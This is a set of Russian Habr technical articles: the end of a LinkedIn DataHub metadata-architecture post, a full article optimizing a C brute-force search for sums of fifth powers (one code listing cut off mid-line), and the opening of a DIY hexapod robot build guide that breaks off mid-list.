Для этого DataHub необходимо использовать несколько типов систем данных, каждая из которых специализируется на масштабировании и обслуживании ограниченных типов запросов. Например, [Espresso](https://engineering.linkedin.com/espresso/introducing-espresso-linkedins-hot-new-distributed-document-store) — это база данных NoSQL LinkedIn, которая особенно хорошо подходит для масштабируемого документально-ориентированного CRUD. Точно так же [Galene](https://engineering.linkedin.com/search/did-you-mean-galene) может легко индексировать и обслуживать полнотекстовый поиск в Интернете. Когда дело доходит до нетривиальных запросов к графам, неудивительно, что [специализированная графовая БД](https://dl.acm.org/citation.cfm?id=3314044) может выполнять на порядки лучше, чем реализации на основе СУБД. Однако оказывается, что структура графа также является естественным способом представления отношений внешнего ключа, позволяя эффективно отвечать на сложные запросы соединения.
DataHub дополнительно абстрагирует базовые системы данных с помощью набора [общих объектов доступа к данным (DAO)](https://en.wikipedia.org/wiki/Data_access_object), таких как DAO ключ-значение, запрос DAO и поиск DAO. После этого реализация DAO для конкретной системы данных может быть легко заменена, без изменения какой-либо бизнес-логики в DataHub. В конечном итоге это позволит нам открыть DataHub с открытым исходным кодом с эталонными реализациями для популярных систем с открытым исходным кодом, в то же время используя все преимущества проприетарных технологий хранения LinkedIn.
Еще одно ключевое преимущество абстракции DAO — стандартизированный сбор [данных об изменениях](https://en.wikipedia.org/wiki/Change_data_capture) (CDC). Независимо от типа базовой системы хранения данных, любая операция обновления через DAO «ключ-значение» автоматически генерирует событие аудита метаданных (MAE). Каждый MAE содержит URN соответствующего объекта, а также изображения до и после определенного аспекта метаданных. Это позволяет использовать [лямбда-архитектуру](https://en.wikipedia.org/wiki/Lambda_architecture), в которой MAE могут обрабатываться как пакетами, так и потоками. Подобно MCE, схема MAE также автоматически генерируется из моделей метаданных.
### Индексирование метаданных
Последний недостающий элемент головоломки — конвейер индексации метаданных. Это система, которая объединяет модели метаданных и создает соответствующие индексы в графической БД и поисковой системе для облегчения эффективных запросов. Эти бизнес-логики фиксируются в форме построителя индексов и построителей графиков и выполняются как часть задания Samza, обрабатывающего MAE. Каждый разработчик зарегистрировал свой интерес к конкретным аспектам метаданных в задании и будет вызван с соответствующим MAE. Затем построитель возвращает список идемпотентных обновлений, которые будут применяться к БД индекса поиска или графа.
Конвейер индексации метаданных также хорошо масштабируется, поскольку его можно легко разделить на основе URN объекта каждого MAE для поддержки упорядоченной обработки для каждого объекта.
### Заключение и с нетерпением жду
В этом посте мы представили DataHub, нашу последнюю эволюцию в путешествии по метаданным в LinkedIn. Проект включает в себя интерфейс модульного пользовательского интерфейса и серверную часть архитектуры обобщенных метаданных.
DataHub работает в LinkedIn в течение последних шести месяцев. Каждую неделю его посещают более 1500 сотрудников, которые поддерживают поиск, обнаружение и различные рабочие процессы для конкретных действий. График метаданных LinkedIn содержит более миллиона наборов данных, 23 системы хранения данных, 25 тысяч показателей, более 500 функций искусственного интеллекта и, что наиболее важно, всех сотрудников LinkedIn, которые являются создателями, потребителями и операторами этого графика.
Мы продолжаем улучшать DataHub, добавляя в продукт больше интересных пользовательских историй и алгоритмов релевантности. Мы также планируем добавить встроенную поддержку [GraphQL](https://graphql.org/) и использовать язык Pegasus Domain Specific Language (PDL) для автоматизации генерации кода в ближайшем будущем. В то же время мы активно работаем над тем, чтобы поделиться этой эволюцией WhereHows с сообществом разработчиков ПО с открытым исходным кодом, а после публичного выпуска DataHub мы сделаем объявление. | https://habr.com/ru/post/520930/ | null | ru | null |
# К вопросу о «потерянном времени»
### Нам представилась замечательная возможность провести небольшое, но крайне поучительное тактическое занятие.
Вопросы оптимизации программ, производящих значительное количество вычислений, к сожалению, недостаточно хорошо освещены в литературе и, как правило, сводятся в некоторым общим принципам, верность которых совершенно не очевидна ни до прочтения аргументов автора, не даже после. Поскольку в упомянутом посте (ищите по закавыченным словам) была предложена не-безынтересная вычислительная задача, которая позволяет продемонстрировать эти принципы и конкретные приемы оптимизации в действии, и был создан настоящий пост, который, хоть и несколько отклоняется от направления, излюбленного автором (я вполне себе вижу решение данной задачи на МК класса М3 и даже Ардуино, попробуйте, но все таки микроконтроллеры предназначены несколько для других целей), но тем не менее вписывается в концепцию курса по программированию МК.
Итак, мы начинаем.
Напомню задачу — требуется найти пять целых неотрицательных чисел, таких, что сумма пятых степеней первых четырех из них равна пятой степени последнего. Формулировка не вполне корректная и будет в дальнейшем уточняться, но для начала сойдет. Естественный алгоритм решения этой задачи будет состоять в переборе возможных наборов чисел и проверке выполнения для них данного условия. Сразу же уточним условие — чисел, не превосходящих некоторой границы, иначе перебор может никогда не закончится, если такого набора вообще не существует (мы же не надеемся всерьез проверить ВСЕ наборы по пять из целых неотрицательных чисел, не знаю, как читатели, я то точно не доживу до окончания перебора). Напишем это естественное решение, чтобы сразу отметить одну важную черту современного программирования, и вот оно.
Сразу договоримся, что мы запускаем все свои программы в компиляторе MinGW версии 6.2 на х86 машине i3-2120 3.3 ГГц, что бы эти цифры не обозначали. Если у вас параметры системы отличаются от моих, то и абсолютные значения временных показателей будут несколько другими, хотя относительное время работы разных вариантов должно быть близко.
Что мы видим — среди наборов чисел, меньших 100, набора, отвечающего заданному условию, не найдено ( на самом деле найдено и их много, но они нас не устраивают, поскольку числа должны быть разными и не равными нулю… я об этом раньше не сказал? — еще один аргумент в пользу аккуратного формулирования ТЗ) и в процессе перебора мы проверили 1е10 комбинаций. При этом время работы программы составило 63 сек.
Мы уже поняли, что программа неверна в силу неполного формирования условий, но, прежде чем мы начнем ее модифицировать, поговорим о возможном ускорении вычислений при неизменном алгоритме. В мое время были книги, в которых давались рекомендации по машинно-независимой оптимизации исполнения по времени, и для данного алгоритма подошли бы следующие рекомендации:
— вынести часть вычислений из внутреннего цикла и сформировать промежуточную сумму первых трех чисел;
— организовать внутренний цикл по уменьшению индекса, а не возрастанию;
— организовать внутренний цикл в виде do {} while, а не for;
— сделать индексную переменную регистровой;
— оптимизировать вычисление пятой степени, что сократит число умножений с 4 до 3,
— перемежать вычисления степеней, чтобы не блокировать конвейер и так далее…
и первоначально я собирался все эти изменения провести и показать их влияние на быстродействие и продемонстрировать, как десятки процентов превращаются в разы увеличения быстродействия, но потом от этой идеи отказался.
Дело в том, что эти рекомендации несколько устарели и в настоящее время единственное, что от программиста требуется, так это разрешить компилятору провести оптимизацию на уровне 3. Да, нужно знать, как это сделать, в моем случае управление оптимизацией прячется в разделе Project/Settingы…-Compile/Optimization, но это все, что необходимо знать для проведения подобной оптимизации. Постоянные читатели моих постов (льщу себя надеждой, что такие есть) уже привыкли видеть в моих опусах стенания по поводу упадка нравов и недостаточно зеленой травы в современной электронике по сравнению с временами моего входа в профессию, но сейчас я, нисколько не отказываясь от высказанных ранее мнений, должен со всей определенностью заявить — современные компиляторы намного лучше своих предшественников и почти идеальны с точки зрения порождаемого кода, если им разрешить оптимизацию.
Столь сильное утверждение требует доказательства и вот оно — компилируем нашу программу с включенной оптимизацией и на том же самом процессоре видим время исполнения 20 секунд, то есть рост быстродействия в 3 раза (в основном за счет первой рекомендации, хотя остальные тоже дали свой вклад до пятой части ускорения) и без малейших усилий с нашей стороны — потрясающе. Желающие могут попробовать провести все перечисленные мною способы увеличения быстродействия и посмотреть на результат, но я настоятельно рекомендую просто посмотреть на продуцируемый ассемблерный код и понять, что улучшить его практически невозможно. Присоединяясь к автору исходного поста, могу настоятельно рекомендовать сайт gcc.godbolt.org, который дает возможность посмотреть код, порождаемый компилятором gcc для разных архитектур и для разных режимов оптимизации.
Увеличения быстродействия существенное, тема алгоритмо-независимой оптимизации исчерпана, но пост на этом не заканчивается — неужели есть еще что проделать. Да, есть чем и как улучшить программу (повысить ее быстродействие) и здесь компилятор нам уже не помощник, поскольку он не понимает сути производящихся в коде действий и не может предложить необходимых изменений, это может сделать только программист. На мой взгляд, это удача, раз даже современные средства разработки программ оставляют место для творчества, хотя мой молодой коллега нашел определенные неудобства в продвинутости современных компиляторов, заявив ;«Вам было проще, Вы знали, что компилятор ничего оптимизировать не будет, на него не надеялись и все делали вручную, а нам приходится решать, с какого момента начинается наша часть работы». Ну что сказать — если Вы сделаете ручками все необходимые оптимизации, то хуже точно не будет (лучше тоже не станет, поскольку работа будет задублирована), так что Вам ничто не мешает идти до конца, я всего лишь подсказал более короткую дорогу.
Возвращаемся к нашей программе и ищем способы ускорить ее. Вернее, прежде чем искать такие способы, необходимо удостоверится в необходимости данного действия. Проверяем время выполнения при разных значениях границы и обнаруживаем, что для значений 60 и 70 времена отличаются более, чем в 2 раза, что подтверждает нашу гипотезу относительно времени работы алгоритма как о(N\*\*5): 70/60=1.17\*\*5=2.2 раза. Воспользуемся полученной формулой для оценки времени выполнения нашей программы для границы 1000 и получим 553 часа, что несколько превосходит наши ожидания, для больших чисел время меньше точно не будет — есть смысл оптимизировать.
Далее перед абзацами будут указаны принципы решения инженерных задач системы ТРИЗ, как я ее помню.
### Принцип исключения, или убираем повторную работу
Пока мы не видим возможность изменить полученную оценку времени исполнения алгоритма, но можно уменьшить коэффициент при определяющем члене. Видно, что мы перебираем все перестановки заданного множества натуральных чисел, если учесть возможность их ранжировать и независимость результата от порядка операндов, то приходим к выводу, что нам необходимо рассматривать сочетания элементов заданного множества. Перебор сочетаний легко реализуется изменением начального значения переменной цикла для очередного элемента, что мы и проделываем и скорость работы программы возрастает разительно, на два порядка. Ну так и должно быть, мы рассчитывал на прирост в 5! раз, а это именно 120.
Небольшое отступление — в оригинальном посте автор приходит к подобной идее после выписывания на листочке различных комбинаций индексов и рассмотрения получившихся результатов, поскольку честно признается, что в комбинаторике не силен. Отдавая дань уважения его усилиям, должен заявить, что комбинаторика и элементы теории вероятностей (именно элементы, поскольку ТерВер во всей его красе и мощи не назовешь простым) — это та часть математики, без которой заниматься анализом алгоритмов контрпродуктивно. Я, конечно, рад, что автору удалось воссоздать метод генерации сочетаний, но его просто надо знать и все, как таблицу умножения. Это я по поводу периодически возникающих споров на тему, нужна ли программисту математика, но это мое личное мнение, выраженное в частной беседе, и оно может быть ошибочным.
Возвращаясь к основной теме — это именно та оптимизация, которую не сделает компилятор, поскольку тут нужно понимать суть задачи и реализующего ее решение алгоритма, а он на это пока не способен (компилятор с двумя командами все еще остается нереализованным идеалом, хотя кто знает, что будет дальше). И еще одна важная особенность — обычно выгода от подобной оптимизации многократно превышает любую возможную выгоду от оптимизации, осуществляемой компилятором, что и подтверждается в данном случае, поскольку 120>>5. Сведем полученные результаты и попытаемся экстраполировать их до некоторых больших значений, получаем
Граница\_\_Без оптимизации\_\_\_\_Компилятор\_\_\_\_\_\_Наша\_\_\_\_\_\_\_\_Обе
10\_\_\_\_\_\_\_\_\_0.00 \_\_\_\_\_\_\_\_\_\_\_\_\_0.00\_\_\_\_\_\_\_\_\_\_0.00\_\_\_\_\_\_\_\_0.00
50\_\_\_\_\_\_\_\_\_2.32\_\_\_\_\_\_\_\_\_\_\_\_\_\_0.66\_\_\_\_\_\_\_\_\_\_0.02\_\_\_\_\_\_\_\_0.01
100\_\_\_\_\_\_\_\_62.91\_\_\_\_\_\_\_\_\_\_\_\_\_19.93\_\_\_\_\_\_\_\_\_0.49\_\_\_\_\_\_\_\_0.16 ( 1.43)
150\_\_\_\_\_\_\_476.20\_\_\_\_\_\_\_\_\_\_\_\_150.67\_\_\_\_\_\_\_\_\_3.80\_\_\_\_\_\_\_\_1.21 (10.99)
1000\_\_\_\_\_\_\_1800 ч\*\_\_\_\_\_\_\_\_\_\_\_\_553 ч\*\_\_\_\_\_\_\_\_\_14 ч\*\_\_\_\_\_\_\_5 ч\*(35 ч\*)
(в скобках дано время вычислений для типа результата long long).
Видим, что если исходный вариант был практически неприемлем при значениях границы выше 200, то последний вариант применим до значения 1000. И мы даже нашли решение, причем целых два, правда, одно из них ложное из-за переполнения, но об этом чуть позже, а пока попытаемся еще улучшить быстродействие.
### Принцип предварительного исполнения
Очевидное решение — вычислить значения степеней заранее и выбирать его из таблицы, несомненно, дало результат, но, честно говоря, несколько меньший, чем я надеялся, видимо, с реализацией умножения у х86 все хорошо, а вот с выбором из массива хуже. Но все равно, прирост почти в 8 раз – очень приятно. (Почему то для варианта с типом результата int прироста производительности вообще нет). Чисто теоретически, я могу себе представить компилятор, который подобную оптимизацию проведет, но пока я такого не видел. Обратим внимание на то, что в данном случае нам пришлось за быстродействие заплатить дополнительной памятью, что характерно, поскольку два направления оптимизации — по времени и по памяти, как правило, противоречат друг другу.
```
#include "time.h"
#include "stdio.h"
#define LOOP(n,m) for (int n=m+1; n<=MAX; n++)
#define REZ(i) (Pow5[i])
typedef long long int rez_t;
int main(void) {
rez_t Pow5[1001];
for (int i=0; i<=1000; i++) Pow5[i]=(rez_t)i*(rez_t)i*(rez_t)i*(rez_t)i*(rez_t)i;
for (int MAX=50; MAX<=500; MAX+=50) {
clock_t t = clock();
unsigned long long v=0;
int r=0;
LOOP(i1,0)
LOOP(i2,i1)
LOOP(i3,i2) {
rez_t Sum = REZ(i1)+REZ(i2)+REZ(i3);
LOOP(i4,i3)
LOOP(i5,i4)
{
v++;
if (Sum+REZ(i4)==REZ(i5)) {
r++;
printf("%4d %4d %4d %4d %4d \n",i1,i2,i3,i4,i5);
};
};
};
t = clock() - t;
printf ("MAX=%d time is %f seconds.\n",
MAX, ((double)t)/CLOCKS_PER_SEC);
printf(" %llu %d\n",v,r);
};
return 1;
};
```
### Принцип ограничения, или исключаем неподходящие варианты
Идем дальше и ищем дополнительные пути, для чего несколько переформулируем задачу — нам нужно найти число, пятая степень которого равна некоторому конкретному числу (представляющему собой сумму пятых степеней четырех других чисел, но это неважно). Данная формулировка позволяет нам сосредоточится на слове «найти» и сразу же наталкивает на мысль о направлении оптимизации — ускорении поиска, у нас он был линейный путем перебора всех возможных значений, а это не лучший способ для упорядоченного набора данных. Первая мысль — бинарный поиск и такое направление могло бы дать нам существенный прирост производительности, но мы пойдем другим путем — для начала перестанем просматривать варианты, которые заведомо не могут быть решением, поскольку мы перебираем значения в порядке возрастания и искомое значение уже превышено. Можно ожидать прироста скорости раза в два, точная аналитическая оценка едва ли возможна и мы действительно получаем ускорение почти в 5 раз.
Небольшое замечание — для того, чтобы перейти к этому методу нам пришлось изменить тип результата на двойное целое. Дело в том, что предложенный метод требует упорядоченности пятых степеней чисел-кандидатов, а из равенства n>m, к моему глубочайшему сожалению, не следует n%k > m%k, если любое из n или m превосходит k. Вы спросите, откуда тут взялось k, ведь мы просто работаем с целыми числами, но дело в том, что в любой практически реализуемой архитектуре целые числа (если скорость выполнения арифметических операция с ними разумна) имеют ограниченную разрядность и, соответственно, подразумевают взятие результата каждой операции по модулю максимально представимого числа. Если у нас результат 32 разрядный, то это число составит (2\*\*32)-1 ~ 2\*\*32 = (2\*\*2)\*(2\*\*30) = 4\*((2\*\*10)\*\*3) ~ 4\*((10\*\*3)\*\*3) = 4\*(10\*\*9) = 0.4\*(10\*\*10) и корень пятой степени из этого числа составит число, близкое к 100 (точное значение 84). тогда для 64 разрядного результата получим наибольшее значение границы 7130, а для 128 разрядного ~ 50е6.
```
#include "time.h"
#include "stdio.h"
#define LOOP(n,m) for (int n=m+1; n<=MAX; n++)
#define REZ(i) (Pow5[i])
typedef long long rez_t;
int main(void) {
rez_t Pow5[1001];
for (int i=0; i<=1000; i++) Pow5[i]=(rez_t)i*(rez_t)i*(rez_t)i*(rez_t)i*(rez_t)i;
for (int MAX=50; MAX<=500; MAX+=50) {
clock_t t = clock();
unsigned long long v=0;
int r=0;
LOOP(i1,0)
LOOP(i2,i1)
LOOP(i3,i2) {
rez_t Sum3 = REZ(i1)+REZ(i2)+REZ(i3);
int i4=i3+1;
do {
rez_t Sum4 = Sum3 + REZ(i4);
int i5=i4+1;
do {
v++;
if (Sum4==REZ(i5)) {
r++;
printf("%4d %4d %4d %4d %4d \n",i1,i2,i3,i4,i5);
};
i5++; } while ((Sum4>=REZ(i5)) && (i5<=MAX));
i4++; } while (i4<=MAX);
};
t = clock() - t;
printf ("MAX=%d time is %f seconds.\n",
MAX, ((double)t)/CLOCKS_PER_SEC);
printf(" %llu %d\n",v,r);
};
return 1;
};
```
### Принцип оценок, или используем предыдущие результаты (гусеница)
Неплохо, хотя для бинарного поиска должно быть намного лучше, но мы учитываем еще одно соображение, которое делает такой способ предпочтительнее — мы можем существенно сократить время поиска, если не будем просматривать числа, меньшие найденного в предыдущем цикле, ведь раз они были меньше предыдущей суммы, то гарантированно будут меньше текущей, которая предыдущую превосходит. Получается, что мы можем работать по принципу гусеницы («Caterpillar method») для четвертого и пятого числа, а при применении данного метода гарантированное количество итераций не может превзойти значения 2\*n, где n — длина интервала и мы по сравнению с предыдущим необходимым количеством итераций n\*(n-1)/2 выигрываем в (n-1)/4 раз, что весьма и весьма значительно для больших чисел. При этом количество итераций даже лучше, чем для бинарного поиска, которое составит n\*log2(n) и превзойдет наше значение уже при n>2\*\*2=4.
```
#include "time.h"
#include "stdio.h"
#define LOOP(n,m) for (int n=m+1; n<=MAX; n++)
#define REZ(i) (Pow5[i])
typedef long long rez_t;
int main(void) {
rez_t Pow5[1001];
for (int i=0; i<=1000; i++) Pow5[i]=(rez_t)i*(rez_t)i*(rez_t)i*(rez_t)i*(rez_t)i;
for (int MAX=50; MAX<=500; MAX+=50) {
clock_t t = clock();
unsigned long long v=0;
int r=0;
LOOP(i1,0)
LOOP(i2,i1)
LOOP(i3,i2) {
rez_t Sum3 = REZ(i1)+REZ(i2)+REZ(i3);
int i4=i3+1;
int i5=i4+1;
do {
rez_t Sum4 = Sum3 + REZ(i4);
if (Sum4 >= REZ(i5)) do {
v++;
if (Sum4==REZ(i5)) {
r++;
printf("%4d %4d %4d %4d %4d \n",i1,i2,i3,i4,i5);
};
i5++; } while ((Sum4>=REZ(i5)) && (i5<=MAX));
i4++; } while ((i4<=MAX) && (i5
```
Замечательный факт — нам впервые удалось понизить не коэффициент перед определяющим членом, а порядок его, что приводит к весьма существенному ускорению работы для больших значений границ рассматриваемых чисел. Сведем еще раз результаты в таблицу и порадуемся полученным значениям
Граница\_\_Таблица степеней\_\_\_Ограничение 5\_\_Метод гусеницы\_\_Метод инверсии
100\_\_\_\_\_\_\_\_0.3\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_0.1\_\_\_\_\_\_\_\_\_\_0.02\_\_\_\_\_\_\_\_\_\_\_\_0.04
150\_\_\_\_\_\_\_\_1.8\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_0.6\_\_\_\_\_\_\_\_\_\_0.14\_\_\_\_\_\_\_\_\_\_\_\_0.28
200\_\_\_\_\_\_\_\_6.6\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_2.3\_\_\_\_\_\_\_\_\_\_0.49\_\_\_\_\_\_\_\_\_\_\_\_0.36
300\_\_\_\_\_\_\_50.4\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_16.1\_\_\_\_\_\_\_\_\_\_2.14\_\_\_\_\_\_\_\_\_\_\_\_2.26
1000\_\_\_\_\_\_\_6 ч\*\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_1.5 ч\*\_\_\_\_\_\_\_210.0\_\_\_\_\_\_\_\_\_\_\_\_880\*
5000\_\_\_\_\_\_\_2 г\*\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_0.5 г\*\_\_\_\_\_\_\_\_36 ч\*
Дальнейшие расчеты показывают, что мы можем ожидать получение результата для границы 10 тысяч в течении 24 дней, что практически приемлемо, хотя этого мы делать и не будем.
Дальнейшее рассмотрение темы планировалось с учетом замечательного свойства пятой степени, а именно небольшого числа остатков по модулю 11, но эта тема неплохо раскрыта в очередном посте на тему гипотезы Эйлера и повторяться не буду, замечу только, что простого способа использования данного свойства предложено не было (и я его не вижу) а непростые требуют прямо таки неприличного количества памяти.
### Метод инверсии
Поэтому рассмотрение вопроса продолжим с другой стороны — переформулируем задачу следующим образом — найти четыре натуральных числа, сумма пятых степеней которых составит пятую степень натурального числа. На первый взгляд, ничего особенного не произошло, но мы можем начать задачу с конца — задаемся искомой суммой и пытаемся ее составить. Такой подход сразу позволяет нам сформулировать некоторые ограничения на подходящие числа. Например, для наибольшего из четырех чисел мы знаем, что оно не может превосходить искомого числа (это тривиально) и его пятая степень не может быть меньше одной четвертой пятой степени искомого числа (а вот это не столь тривиально, но очевидно), что сужает область допустимых кандидатов с n-1 до n\*(1-корень пятой степени из 4=1.32), то есть в три раза. Далее, взяв кандидата на роль четвертого числа, мы можем сразу вычислить оставшуюся разность и выбирать кандидата на роль третьего числа с учетом аналогичных соображений по отношению к ней. Оценить результат подобной оптимизации аналитически лично я не берусь, поэтому просто пишем программу и смотрим на результат.
```
#include "time.h"
#include "stdio.h"
#define LOOP(n,m) for (int n=m+1; n<=MAX; n++)
#define REZ(i) (Pow5[i])
typedef long long rez_t;
int main(void) {
rez_t Pow5[1001];
for (int i=0; i<=1000; i++) {
Pow5[i]=(rez_t)i*(rez_t)i*(rez_t)i*(rez_t)i*(rez_t)i;
};
for (int MAX=100; MAX<=1000; MAX+=50) {
clock_t t = clock();
unsigned long long v=0;
int r=0;
int i5=MAX; do {
int i4=i5-1;
do {
rez_t Ost1=REZ(i5)-REZ(i4);
int i3=i4-1;
if (REZ(i4)*4 > Ost1)
do {
rez_t Ost2 = Ost1-REZ(i3);
int i2=i3-1;
if ((REZ(i3)*3 > Ost2) && (Ost2>0))
do {
rez_t Ost3=Ost2-REZ(i2);
int i1=i2-1;
if ((REZ(i2)*2 > Ost3) && (Ost3>0))
do {
v++;
if (Ost3==REZ(i1)) {
r++;
printf("%4d %4d %4d %4d %4d \n",i1,i2,i3,i4,i5);
};
i1--; } while (i1>0);
i2--; } while (i2>0);
i3--; } while (i3>0);
i4--; } while (i4>0);
i5--;} while (i5>0);
t = clock() - t;
printf ("MAX=%d time is %f seconds.\n",
MAX, ((double)t)/CLOCKS_PER_SEC);
printf(" %llu %d\n",v,r);
};
return 1;
};
```
Неплохо, нам удалось существенно уменьшить коэффициент, но порядок остался прежним и на больших значениях мы проигрываем предыдущей программе.
И тут приходит озарение – мы можем начать по новому методу, существенно сократив перебор двух старших слагаемых, а два младших будем искать методом гусеницы, поскольку мы уже знаем их сумму!!! (Количество восклицательных знаков вполне соответствует мощности идеи). То есть мы возьмем младшее число равным единице, следующее – максимально возможному с учетом старших и будем двигать нижнюю либо верхнюю границу интервала в зависимости от результата.
```
#include "time.h"
#include "stdio.h"
#define LOOP(n,m) for (int n=m+1; n<=MAX; n++)
#define REZ(i) (Pow5[i])
typedef long long rez_t;
int main(void) {
rez_t Pow5[1001];
for (int i=0; i<=1000; i++) {
Pow5[i]=(rez_t)i*(rez_t)i*(rez_t)i*(rez_t)i*(rez_t)i;
};
for (int MAX=100; MAX<=1000; MAX+=50) {
clock_t t = clock();
unsigned long long v=0;
int r=0;
int i5=MAX; do {
int i4=i5-1;
do {
rez_t Ost1=REZ(i5)-REZ(i4);
int i3=i4-1;
if (REZ(i4)*4 > Ost1)
do {
rez_t Ost2 = Ost1-REZ(i3);
int i2=i3-1;
int i1=1;
if ((REZ(i3)*3 > Ost2) && (Ost2>0))
do {
v++;
rez_t Sum2=REZ(i1)+REZ(i2);
if (Ost2==Sum2) {
r++;
printf("%4d %4d %4d %4d %4d \n",i1,i2,i3,i4,i5);
};
if (Sum2>=Ost2) i2--; else i1++;
} while (i1<=i2);
i3--; } while (i3>0);
i4--; } while (i4>0);
i5--;} while (i5>0);
t = clock() - t;
printf ("MAX=%d time is %f seconds.\n",
MAX, ((double)t)/CLOCKS_PER_SEC);
printf(" %llu %d\n",v,r);
};
return 1;
};
```
Вот программа, а вот и результат – для значений до тысячи мы считаем всего лишь 21.7 секунды – в 10 раз быстрее предыдущей версии, а уж с начальной и сравнивать не будем. С такой программой можно уже замахиваться и на значения порядка тысяч, оставляю это на долю пытливого читателя.
Всех с Новым годом. | https://habr.com/ru/post/318816/ | null | ru | null |
# Ectognathus, робот-хексапод на микро-сервах своими руками, часть вторая
Добрый день, уважаемые хабровчане. Это вторая часть статьи про разработку робота-хексапода. Первую часть вы можете найти [тут](http://habrahabr.ru/post/148964/).
В этой статье я расскажу непосредственно про производство самого робота, переход от моделей в SolidWorks к реальному устройству.
#### Начало производства
Первое, что я бы хотел отметить – между моментом «ну все, у меня есть моделька, проект почти готов» и «у меня на столе стоит готовое устройство», на самом деле, лежит очень и очень много всего. Чем быстрее вы совершите этот переход, тем меньше вероятность, что проект будет заброшен. К этому этапу друг успел подрастерять энтузиазм, так что продолжал проект я один.
После того, как модель была закончена, нужно было приступать к, собственно, производству, и первое, что следовало сделать – закупить необходимые детали. Если с сервоприводами и аккумуляторами никаких проблем не возникло и к этому времени они уже лежали у меня на столе, то поиск всего остального оказался куда менее легким. Я начал с подшипников на тот самый винт, выполняющий роль оси. Так как винт я выбрал M3, то и подшипники нужно было найти с таким же внутренним диаметром. И проще всего это оказалось сделать в магазине авто/авиа моделей. Поэтому рекомендую всем, кто ищет подобного рода небольшие детали сначала изучить ассортимент магазинов с модельками, это оказалось намного проще, чем связываться с магазинами, специализирующимися на подшипниках.
Я приобрел пару вот таких вот комплектов <http://rc-go.ru/cat/product27455.htm> — 4 подшипника со внутренним диаметром 3 мм, внешним – 8 мм, и высотой 4 мм, стоимостью 450р за 4 штуки.
Как ни странно, подшипники было найти несложно, а вот купить винты – намного труднее. Дело в том, что начиная с М3 винты продаются почти на каждом углу, но в конструкции присутствовали винтики М2 – ими крепились «качалки» сервоприводов, и использовать там М3 было невозможно – они бы просто разворотили бы качалку. В обычных магазинах таких винтов не было, а магазины крепежа продавали их только тысячами штук. К счастью, я нашел [магазин](http://www.superbolt.ru/), в котором можно купить даже один винт. Несмотря на несколько неблагозвучное название «Суперболт», магазин оказался очень неплохим, где я сразу закупил весь крепеж – М3 разной длины со скрытой головкой, М2, гайки под них и шайбы.
Разнокалиберные стойки я приобрел в магазине [VoltMaster](http://www.voltmaster.ru/).
В общей сложности вся эта мелочевка вышла дешевле 500 рублей.
Дальше нужно было выбрать где и из чего фрезеровать детали, и вот тут ждала неприятность. Фрезеровали много где, но везде нужен был свой материал, листового алюминия в 2 мм толщиной либо не было, либо «был когда-то, но сейчас кончился». Новые же листы продавались только в формате 1х3 метра, что было, мягко говоря, многовато. Я обзвонил штук пять фирм и нигде не были готовы продать обрезки.
Но, к счастью я вспомнил, что у бывшего одногруппника есть фрезеровальный станок. Связавшись с ним я обговорил задачу, и выяснил, что алюминиевого листа у него тоже нет, зато есть композитный материал под названием [ALUCOBOND](http://ru.wikipedia.org/wiki/%D0%90%D0%BB%D1%8E%D0%BA%D0%BE%D0%B1%D0%BE%D0%BD%D0%B4), представляющий собой «будерброд» из двух тонких слоев алюминия, между которыми заключен какой-то полимер. Толщина этого бутерброда была 3 мм, а плотность (и, соответственно, масса) – в два раза меньше листового алюминия!
Таким образом, после корректировки плотности в солиде, масса новой модели стала около 650 грамм.
Кстати сказать, пару дней назад узнал, что в одной из фирм все-таки можно купить обрезки алюминия, так что если вам непременно нужен дюраль, то иногда его все же можно найти, но искать нужно настойчиво.
После того, как все необходимое было закуплено, пришла пора переходить к следующему этапу.
#### Производство
А сейчас я расскажу вам о самом важном. О граблях, на которые можно наступить при производстве. Граблях, которые выливаются в дополнительные затраты.
Ну во-первых, если это ваш первый проект… Да даже если не первый, все равно рекомендую резку/фрезеровку заказывать не в крупных фирмах а у небольших частников, если конструкция еще не отлажена. Потому что очень вряд ли, что в крупной фирме вам позволят сидеть рядом и, увидев, что первая деталь не стыкуется с вашими приводами, кричать «останавливай фрезер нахрен!!!».
Так как я фрезеровал у одногруппника у меня такая возможность была. Мы договорились вырезать сначала несколько тестовых деталей, проверить их, а потом, если все будет нормально, вырезать все остальное. Разумеется, тестовые детали не состыковались, поэтому мне пришлось править их на ходу и перевырезать заново.
Итак, на что стоит обратить внимание?
1. Резать лазером или фрезеровать? Ответ зависит от ваших требований к конструкции. Резка лазером быстрее. По цене, в принципе, не очень отличается. Но если вам требуется зенкование отверстий, то есть, формирование отверстий для винтов со скрытыми головками, например, как вот на этом рисунке
то лазер вам не поможет. Впрочем, я обнаружил, что такие отверстия элементарно получаются в домашних условиях при помощи дремеля и соответствующей конической насадки, примерно вот такой:
2. Двусторонние детали. Имеются в виду детали, которые нельзя получить, не переворачивая фрезеруемый лист – например, имеющие зенкование с обеих сторон, или несквозные пазы. Опять-таки, лазер тут отпадает. Но и с фрезеровкой не все так гладко. Не знаю, как в крупных фирмах, а там где я фрезеровал, это вылилось бы в несказанный геморрой, увеличило бы затраты по времени, и, соответственно, по деньгам. Полагаю, что в крупных фирмах это тоже будет не бесплатно. Поэтому старайтесь избегать таких ситуаций. Зенковать можно и дремелем, это будет быстро и бесплатно.
3. Фреза имеет ненулевой радиус. Это очевидно. Поэтому следует помнить о том, что внутренние пропилы не могут быть меньше чем радиус этой фрезы. То есть внутренние углы будут скруглены, а это значит, что ваши детали, вставляющиеся в такие вот пазы, уже не влезут. Поясню на примере:
Это деталь серво-маунта, узла из основания ноги, где крепятся два сервопривода. Красной рамкой обведено технологическое скругление. Если его не сделать в модели, фрезер все равно его прорежет – т.к. физически не может сделать прямой угол. Но только удлинять ваш паз, он, конечно же, не будет, поэтому его реальная длина (то есть длина части с постоянной шириной) окажется меньше на радиус фрезы. Если не хотите допиливать напильником детали, то лучше сразу предусмотреть этот момент.
4. Размеры. Вы должны перемерить все. Вы слышите? **Все**. Первым делом нужно приобрести электронный штангенциркуль (можно и обычный, но с электронным удобнее), типа [такого](http://www.dealextreme.com/p/100mm-stainless-steel-digital-caliper-in-mm-lcd-11965?item=26)
